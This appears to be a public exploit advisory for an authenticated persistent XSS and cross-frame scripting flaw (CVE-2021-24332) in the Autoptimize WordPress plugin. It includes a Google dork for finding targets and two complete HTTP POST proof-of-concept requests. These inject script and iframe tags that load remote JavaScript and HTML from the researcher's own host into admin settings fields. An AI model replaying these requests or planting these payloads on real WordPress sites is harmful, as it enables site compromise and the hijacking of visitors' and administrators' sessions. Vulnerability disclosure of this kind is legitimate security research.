/*!
- # VULNERABILITY: Autoptimize WordPress Plugin <= 2.8.3 - Authenticated Persistent XSS & XFS
- # GOOGLE DORK: inurl:/wp-content/plugins/autoptimize/
- # DATE: 2021-04-01
- # SECURITY RESEARCHER: m0ze [ https://m0ze.ru ]
- # VENDOR: Frank Goossens [ https://autoptimize.com ]
- # SOFTWARE VERSION: <= 2.8.3
- # SOFTWARE LINK: https://wordpress.org/plugins/autoptimize/
- # CVSS: AV:N/AC:L/PR:H/UI:N/S:C
- # CWE: CWE-79
- # CVE: CVE-2021-24332
*/
### -- [ Info: ]
[i] An Authenticated Persistent XSS & XFS vulnerabilities was discovered in the Autoptimize plugin through v2.8.3 for WordPress.
[i] Vulnerable parameter(s): $ao_css_defer_inline (autoptimize/classes/autoptimizeCriticalCSSSettings.php:314), $key (autoptimize/classes/critcss-inc/admin_settings_key.php:46).
### -- [ Impact: ]
[~] Malicious JavaScript code injections, the ability to combine attack vectors against the targeted system, which can lead to a complete compromise of the resource.
### -- [ Payloads: ]
[$] m0ze
[$] m0ze
### -- [ PoC #1 | Authenticated Persistent XSS & XFS | JS, CSS & HTML > Inline and Defer CSS: ]
[!] POST /wp-admin/options.php HTTP/2
Host: example.com
Cookie: [admin cookies]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 494
option_page=autoptimize&action=update&_wpnonce=478b37683d&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dautoptimize&autoptimize_enable_site_config=on&autoptimize_js=on&autoptimize_js_exclude=&autoptimize_css=on&autoptimize_css_defer=on&autoptimize_css_defer_inline=m0ze%3C%2Ftextarea%3E%3Cscript+src%3D%2F%2Fm0ze.ru%2Fpayload%2Fa.js%3E%3C%2Fscript%3E&autoptimize_css_exclude=&autoptimize_cdn_url=&autoptimize_minify_excluded=on&autoptimize_cache_clean=Save+Changes+and+Empty+Cache
### -- [ PoC #2 | Authenticated Persistent XSS & XFS | Critical CSS > Your API Key: ]
[!] POST /wp-admin/options.php HTTP/2
Host: example.com
Cookie: [admin cookies]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 643
option_page=ao_ccss_options_group&action=update&_wpnonce=cdeccd0a90&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dao_critcss&autoptimize_ccss_rules=&autoptimize_ccss_queue=&autoptimize_ccss_viewport%5Bw%5D=&autoptimize_ccss_viewport%5Bh%5D=&autoptimize_ccss_finclude=&autoptimize_ccss_rtimelimit=30&autoptimize_ccss_debug=&autoptimize_ccss_noptimize=&autoptimize_css_defer_inline=m0ze%3C%2Ftextarea%3E%3Cscript+src%3D%2F%2Fm0ze.ru%2Fpayload%2Fa.js%3E%3C%2Fscript%3E&autoptimize_ccss_loggedin=1&autoptimize_ccss_forcepath=1&autoptimize_ccss_key=m0ze%3C%2Ftextarea%3E%3Ciframe+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E%3C%2Fiframe%3E
### -- [ Contacts: ]
[+] Website: m0ze.ru
[+] GitHub: @m0ze
[+] Telegram: @m0ze_ru
[+] Twitter: @vladm0ze